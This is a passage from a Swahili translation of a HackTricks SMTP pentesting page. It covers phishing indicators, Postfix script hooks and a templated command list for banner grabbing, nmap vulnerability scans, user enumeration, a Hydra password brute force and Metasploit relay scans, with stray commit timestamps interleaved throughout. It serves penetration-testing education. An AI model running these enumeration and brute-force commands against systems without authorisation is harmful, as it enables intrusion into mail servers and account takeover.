smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)
```
{% endtab %}
{% endtabs %}
### **Maelezo zaidi**
2020-09-26 15:24:30 +00:00
2024-02-11 02:13:58 +00:00
**Pata maelezo zaidi kuhusu ulinzi huu katika** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
### **Dalili nyingine za phishing**
2020-11-29 23:31:10 +00:00
* Umri wa domain
* Viungo vinavyoelekeza kwenye anwani za IP
* Mbinu za manipulering viungo
* Viambatisho vya kushangaza (visivyo vya kawaida)
* Maudhui ya barua pepe yaliyovunjika
* Thamani zinazotumika ambazo ni tofauti na zile za vichwa vya barua
* Uwepo wa cheti halali na kinachoaminika cha SSL
* Kuwasilisha ukurasa kwa tovuti za kuchuja maudhui ya wavuti
2020-11-29 23:31:10 +00:00
## Uhamasishaji kupitia SMTP
2024-02-11 02:13:58 +00:00
**Ikiwa unaweza kutuma data kupitia SMTP** [**soma hii**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
## Faili ya config
### Postfix
2021-08-29 23:49:17 +00:00
Kawaida, ikiwa imewekwa, katika `/etc/postfix/master.cf` ina **scripts za kutekeleza** wakati kwa mfano barua mpya inapopokelewa na mtumiaji. Kwa mfano, mstari `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` unamaanisha kwamba `/etc/postfix/filtering` itatekelezwa ikiwa barua mpya inapokelewa na mtumiaji mark.
2021-08-29 23:49:17 +00:00
Faili nyingine za config:
```
sendmail.cf
submit.cf
```
## References
2024-02-05 02:28:59 +00:00
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what\_could\_hacker\_do\_with\_misconfigured\_smtp/)
## HackTricks Automatic Commands
```
2021-08-12 13:33:09 +00:00
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
2021-08-15 18:02:01 +00:00
Entry_1:
2024-02-11 02:13:58 +00:00
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
2021-08-15 18:02:01 +00:00
2024-02-11 02:13:58 +00:00
https://book.hacktricks.xyz/pentesting/pentesting-smtp
2021-08-15 18:02:01 +00:00
Entry_2:
2024-02-11 02:13:58 +00:00
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
2021-08-15 18:02:01 +00:00
Entry_3:
2024-02-11 02:13:58 +00:00
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
2021-08-15 18:02:01 +00:00
Entry_4:
2024-02-11 02:13:58 +00:00
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
2021-08-15 18:02:01 +00:00
Entry_5:
2024-02-11 02:13:58 +00:00
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
2021-08-12 13:33:09 +00:00
2021-08-15 18:03:22 +00:00
Entry_6:
2024-02-11 02:13:58 +00:00
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
2021-09-13 15:35:02 +00:00
Entry_7:
2024-02-11 02:13:58 +00:00
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
2024-02-11 02:13:58 +00:00
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
2021-08-12 13:33:09 +00:00
```
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**Mpangilio wa haraka wa tathmini ya udhaifu & upimaji wa uvamizi**. Fanya upimaji kamili kutoka mahali popote kwa zana 20+ na vipengele vinavyotoka kwenye utafiti hadi ripoti. Hatubadilishi wapimaji wa uvamizi - tunakuza zana maalum, moduli za kugundua & kutumia ili kuwapa muda wa kuchimba zaidi, kufungua shells, na kufurahia.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za uvamizi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
{% endhint %}